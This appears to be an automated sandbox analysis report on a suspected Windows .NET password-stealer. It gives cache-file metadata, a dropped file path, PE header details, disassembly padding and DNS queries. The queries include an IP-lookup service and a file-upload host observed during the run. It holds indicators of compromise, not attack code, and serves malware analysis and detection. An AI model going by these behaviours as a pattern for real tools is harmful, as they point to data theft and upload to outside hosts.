a(a,b,c){b\|\|h(0,3159);var d=a.prototype\|\|a;d.__eventEmitter&&h(0,3160);a=a.constructor;a&&(a===Object\|\|a===Function\|\|h(0,3161));d.__types=babelHelpers["e

Chrome Cache Entry: 994

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3004)
Category:	downloaded
Size (bytes):	219321
Entropy (8bit):	5.458246897095534
Encrypted:	false
SSDEEP:	3072:gIU1gpo2CUIa6/TlMDOtxjuj6WXVB4iP1oFQ6q:gIUipCU7gTG1Bh1uI
MD5:	6E83EB8FBB6A4F0B8F31564F50C64B18
SHA1:	6883B22EF5FA9CE6C3AAA4BB3CB1A2E7E7A47BFA
SHA-256:	7A0FF46AB40684EE9C354325A5D615624F95DE1AB77D1D52657198BBD63EC405
SHA-512:	3BF02210ABACFD55803F7D36BADC2BE29681A01B16F1312B51B5CAE051A89F880504CE1530A7ADD9BEBE3156A46D0C1A04FFF124635E0069184B98046E50C138
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlGkhXcT7V5ecQz4-OJohhQZUSpX5A/m=_b,_tp"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x1242c03f, 0x31001638, 0x39ce5998, 0x72719ef, 0x6, 0x0, 0x358000, 0x76, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2013 Google LLC.. SPDX-License-Identifier: Apache-2.0./.var baa,daa,Pa,haa,Za,bb,cb,db,eb,iaa,fb,jb,jaa,kaa,ob,naa,paa,qaa,taa,vaa,Kb,zaa,Ob,Aaa,Baa,Tb,Eaa,Gaa,Haa,jc,Iaa,Maa,Naa,Lc,Paa,Qaa,Raa,Qc,Uaa,Taa,Waa,Yc,Xc,Xaa,Zc,Zaa,bd,fd,$aa,aba,qd,pd,ad,Id,iba,kba,lba,gba,mba,oba,pba,Ed,ke,le,ne,ve,zba,Ie,Le,Me,Oe,Cba,Eba,Gba,Hba,Iba,Jba,Mba,Oba,Qba,Rba,Uba,bca,Yba,cca,Ff,Gf,dca,eca,gca,ica,jca,kca,Uf,lca,mca,bg,oca,pca,rca,tca,uca,aaa,vca,ug,wca,wg,xca,yg,Ag,yca,Hg,Ig,Dca,Qg,Rg,Fca;_.aa=function(a){ret

Chrome Cache Entry: 995

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10016)
Category:	downloaded
Size (bytes):	46791
Entropy (8bit):	5.3874439236494815
Encrypted:	false
SSDEEP:	768:N8Wly3cOPWnysvxaWVv/WXUXd/HZbxJg1BFxvSdxlCdn5PRAS3mjkn:N8Wly3cO8vauH3pHcn5pAS3mjkn
MD5:	57866721FC345BA9D8FC46172B03914F
SHA1:	48917F9373F20676ECF6683265149296B84A4270
SHA-256:	CB6B7B810A9EEA8BF6093A94382F6AF73DE4517A77236CA47518D6D14947A5ED
SHA-512:	4E658953242DCA75F0793CDB27E723C7659CCC8B31F46E004F680174BADAD41F03A94857EAB929BCA9FBBCF9BC31E1150B08FB2B019F5A539C748E478045B2D3
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ihVQ4/y8/l/en_US/Ch_YChJCKQS.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CacheStorage",["ErrorGuard","ExecutionEnvironment","WebStorage","cr:6943","cr:8958","emptyFunction","err","killswitch"],(function(a,b,c,d,e,f,g){var h,i,j,k="_@_",l="3b",m="CacheStorageVersion",n={length:0,getItem:a=c("emptyFunction"),setItem:a,clear:a,removeItem:a,key:a};d=function(){function a(a){this._store=a}var b=a.prototype;b.getStore=function(){return this._store};b.keys=function(){var a=[];for(var b=0;b<this._store.length;b++){var c=this._store.key(b);c!=null&&a.push(c)}return a};b.get=function(a){return this._store.getItem(a)};b.set=function(a,b){this._store.setItem(a,b)};b.remove=function(a){this._store.removeItem(a)};b.clear=function(){this._store.clear()};b.clearWithPrefix=function(a){a=a\|\|"";var b=this.keys();for(var c=0;c<b.length;c++){var d=b[c];d!=null&&d.startsWith(a)&&this.remove(d)}};return a}();e=function(a){babelHelpers.inheritsLoose(b,a);function b(){var b;return a.call(this,(b=(h\|\|(h=c("WebStorage"))).getLocalStorage())!=null?b:n)\|\|this}b.

Chrome Cache Entry: 996

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 997

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 998

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.381705050636977
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3sdsXxqtQAltjp:6v/lhPfkCDtmywFWsXxWVXjp
MD5:	39C11D656220EFD52F4965400D14900A
SHA1:	327050099CEE8D1AD81E7BFBE5CA2EA057780A87
SHA-256:	C0F9968D0FA5F4DEFF86BABCCD6DF52306138314607A6F3F0ACD2E7AFC783D1C
SHA-512:	B64595AD189620EA7A10715B0F84C30134CAA4BAB0F7FBA8E53438577BD33310939F2B4FACCC4D7152A3B279B641436E84211DB06FA9DB50FC0E9A1E83760B63
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yU/r/O7nelmd9XSI.png
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS..31x....IDAT..c`........5.....IEND.B`.

Chrome Cache Entry: 999

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (936)
Category:	downloaded
Size (bytes):	5863
Entropy (8bit):	5.542506058381083
Encrypted:	false
SSDEEP:	96:ercpdAw1xFVObY2GhlzSSt0531195315WnGIjkC4EBBIjKuKSwXr6:ekdAMFVObY2GjDm19D5WnGIj8OByKD6
MD5:	F3356B556175318CF67AB48F11F2421B
SHA1:	ACE644324F1CE43E3968401ECF7F6C02CE78F8B7
SHA-256:	263C24AC72CB26AB60B4B2911DA2B45FEF9B1FE69BBB7DF59191BB4C1E9969CD
SHA-512:	A2E5B90B1944A9D8096AE767D73DB0EC5F12691CF1AEBD870AD8E55902CEB81B27A3C099D924C17D3D51F7DBC4C3DD71D1B63EB9D3048E37F71B2F323681B0AD
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/www-i18n-constants-en_US.vflset/www-i18n-constants.js
Preview:	(function(){'use strict';/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var e=this\|\|self;function f(c,b){c=c.split(".");var a=e;c[0]in a\|\|"undefined"==typeof a.execScript\|\|a.execScript("var "+c[0]);for(var d;c.length&&(d=c.shift());)c.length\|\|void 0===b?a[d]&&a[d]!==Object.prototype[d]?a=a[d]:a=a[d]={}:a[d]=b}.;var g={YEAR_FULL:"y",YEAR_FULL_WITH_ERA:"y G",YEAR_MONTH_ABBR:"MMM y",YEAR_MONTH_FULL:"MMMM y",YEAR_MONTH_SHORT:"MM/y",MONTH_DAY_ABBR:"MMM d",MONTH_DAY_FULL:"MMMM dd",MONTH_DAY_SHORT:"M/d",MONTH_DAY_MEDIUM:"MMMM d",MONTH_DAY_YEAR_MEDIUM:"MMM d, y",WEEKDAY_MONTH_DAY_MEDIUM:"EEE, MMM d",WEEKDAY_MONTH_DAY_YEAR_MEDIUM:"EEE, MMM d, y",DAY_ABBR:"d",MONTH_DAY_TIME_ZONE_SHORT:"MMM d, h:mm\u202fa zzzz"},h=g;h=g;var k={ERAS:["BC","AD"],ERANAMES:["Before Christ","Anno Domini"],NARROWMONTHS:"JFMAMJJASOND".split(""),STANDALONENARROWMONTHS:"JFMAMJJASOND".split(""),MONTHS:"January February March April May June July August September October November December

\Device\ConDrv

Process:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	4.286073681226177
Encrypted:	false
SSDEEP:	24:z3d3+DO/0XZd3Wo3opQ5ZKBQFYVgt7ovrNOYlK:zNODBXZxo4ABV+SrUYE
MD5:	402278578416001C915480C7040F2964
SHA1:	B4833865ECE3609EC213509D4AB7D7A195C00753
SHA-256:	86E0747C9B54AA9AACB788589E70E19279DF13F1393795E689342AF3302912E1
SHA-512:	473600FBC051B22E9E7A6FBE1694ED736CF90DE5A8DF92AF1FA9A85DDD97379CFF0E8A5DF89937AE083BEBEFC81C407A907D0FB5ED9019BEDF6FB4703838321B
Malicious:	false
Reputation:	unknown
Preview:	Microsoft .NET Framework Assembly Registration Utility version 4.8.4084.0..for Microsoft .NET Framework version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....Syntax: RegAsm AssemblyName [Options]..Options:.. /unregister Unregister types.. /tlb[:FileName] Export the assembly to the specified type library.. and register it.. /regfile[:FileName] Generate a reg file with the specified name.. instead of registering the types. This option.. cannot be used with the /u or /tlb options.. /codebase Set the code base in the registry.. /registered Only refer to already registered type libraries.. /asmpath:Directory Look for assembly references here.. /nologo Prevents RegAsm from displaying logo.. /silent Silent mode. Prevents displaying of success messages.. /verbose Displays extra information..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.997446646309124
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
File size:	1'529'344 bytes
MD5:	eca58abd2b3fdfdde6f1f710933106db
SHA1:	c18e99f7a4a86bb3ec6f12615c8df42e129efddb
SHA256:	d6129782008ef7b311bc4c3f513067ba99acfd6afbaea447af511257145bfc08
SHA512:	771d96194ea4a6d601c9aaf25fb999c1dd531915b20e7fc0dea266b7a12143904955810137fe6773ea8fdbf4333db67a50702476a731a5d0dcad10075ff917b6
SSDEEP:	24576:xYXvpYjHR4uto+Oj+F6Kfo8GUd5g/6TzxzrCQ6kRGWjmy0JdGJejw6qLxEqSuiIN:b2uSnjQoPZ/kxqZy06fOqSuhN
TLSH:	FE6533228B6BBEBFDC7D04B45D3C926667DD47B6711B0358206705D8CFD0E2207B26A6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:9.e.................L...........j... ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x576a8e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x65A8393A [Wed Jan 17 20:31:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x176a40	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x178000	0x5b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x17a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1769f8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x174a94	0x174c00	False	0.994450426517438	data	7.998374007382508	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x178000	0x5b8	0x600	False	0.4407552083333333	data	4.151384025244951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x17a000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1780a0	0x32c	data			0.45320197044334976
RT_MANIFEST	0x1783cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 18, 2024 00:34:14.422712088 CET	192.168.2.6	1.1.1.1	0xd9e5	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.378500938 CET	192.168.2.6	1.1.1.1	0xe99b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.378500938 CET	192.168.2.6	1.1.1.1	0xeeb9	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:34.404069901 CET	192.168.2.6	1.1.1.1	0xfa04	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.411751986 CET	192.168.2.6	1.1.1.1	0xaa7c	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:34.412055016 CET	192.168.2.6	1.1.1.1	0x91df	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.412178993 CET	192.168.2.6	1.1.1.1	0x1209	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:34.527288914 CET	192.168.2.6	1.1.1.1	0xe59a	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.527451038 CET	192.168.2.6	1.1.1.1	0xa888	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:38.039684057 CET	192.168.2.6	1.1.1.1	0xa6f1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:38.040158987 CET	192.168.2.6	1.1.1.1	0xe151	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:40.560277939 CET	192.168.2.6	1.1.1.1	0xece6	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.564265013 CET	192.168.2.6	1.1.1.1	0x416b	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:42.477453947 CET	192.168.2.6	1.1.1.1	0x8c70	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:42.478599072 CET	192.168.2.6	1.1.1.1	0x7860	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:43.510318995 CET	192.168.2.6	1.1.1.1	0xa746	Standard query (0)	i.ytimg.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.510623932 CET	192.168.2.6	1.1.1.1	0x8235	Standard query (0)	i.ytimg.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:43.772572994 CET	192.168.2.6	1.1.1.1	0x2f76	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.774398088 CET	192.168.2.6	1.1.1.1	0x89bc	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 18, 2024 00:34:43.833753109 CET	192.168.2.6	1.1.1.1	0xcf58	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.833965063 CET	192.168.2.6	1.1.1.1	0x768f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:44.395788908 CET	192.168.2.6	1.1.1.1	0x80c3	Standard query (0)	i.ytimg.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.401004076 CET	192.168.2.6	1.1.1.1	0xa5e9	Standard query (0)	i.ytimg.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:44.655657053 CET	192.168.2.6	1.1.1.1	0x9257	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.656009912 CET	192.168.2.6	1.1.1.1	0x3c1a	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:44.659178972 CET	192.168.2.6	1.1.1.1	0xaa5a	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.659771919 CET	192.168.2.6	1.1.1.1	0xba6e	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.363861084 CET	192.168.2.6	1.1.1.1	0x105e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.364278078 CET	192.168.2.6	1.1.1.1	0x1bd2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:45.365638971 CET	192.168.2.6	1.1.1.1	0x109c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.365916967 CET	192.168.2.6	1.1.1.1	0x22cb	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:45.489526987 CET	192.168.2.6	1.1.1.1	0xe194	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.495390892 CET	192.168.2.6	1.1.1.1	0xbae1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:48.170528889 CET	192.168.2.6	1.1.1.1	0x7c95	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:48.170779943 CET	192.168.2.6	1.1.1.1	0x772e	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Jan 18, 2024 00:34:54.008382082 CET	192.168.2.6	1.1.1.1	0x79e4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.336023092 CET	192.168.2.6	1.1.1.1	0x9483	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.496988058 CET	192.168.2.6	1.1.1.1	0xb703	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jan 18, 2024 00:34:54.634701967 CET	192.168.2.6	1.1.1.1	0xdb2c	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.634783030 CET	192.168.2.6	1.1.1.1	0xd7d2	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.681548119 CET	192.168.2.6	1.1.1.1	0x1620	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:55.471101046 CET	192.168.2.6	1.1.1.1	0xda8f	Standard query (0)	facebook.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:55.471295118 CET	192.168.2.6	1.1.1.1	0x73b6	Standard query (0)	facebook.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:57.031027079 CET	192.168.2.6	1.1.1.1	0xb1f4	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:57.031204939 CET	192.168.2.6	1.1.1.1	0xd98a	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:34:57.250725031 CET	192.168.2.6	1.1.1.1	0x128f	Standard query (0)	tmpfiles.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:59.847312927 CET	192.168.2.6	1.1.1.1	0x4f0b	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:59.847914934 CET	192.168.2.6	1.1.1.1	0x9145	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:01.682629108 CET	192.168.2.6	1.1.1.1	0x9e79	Standard query (0)	rr1---sn-q4fl6nlz.googlevideo.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:01.682915926 CET	192.168.2.6	1.1.1.1	0xbcb8	Standard query (0)	rr1---sn-q4fl6nlz.googlevideo.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:10.236602068 CET	192.168.2.6	1.1.1.1	0xbd85	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.236756086 CET	192.168.2.6	1.1.1.1	0x8c00	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:10.334156036 CET	192.168.2.6	1.1.1.1	0xad97	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.334342957 CET	192.168.2.6	1.1.1.1	0xe1c5	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:10.649030924 CET	192.168.2.6	1.1.1.1	0xf98b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.649281025 CET	192.168.2.6	1.1.1.1	0xed62	Standard query (0)	www.google.com	65	IN (0x0001)	false
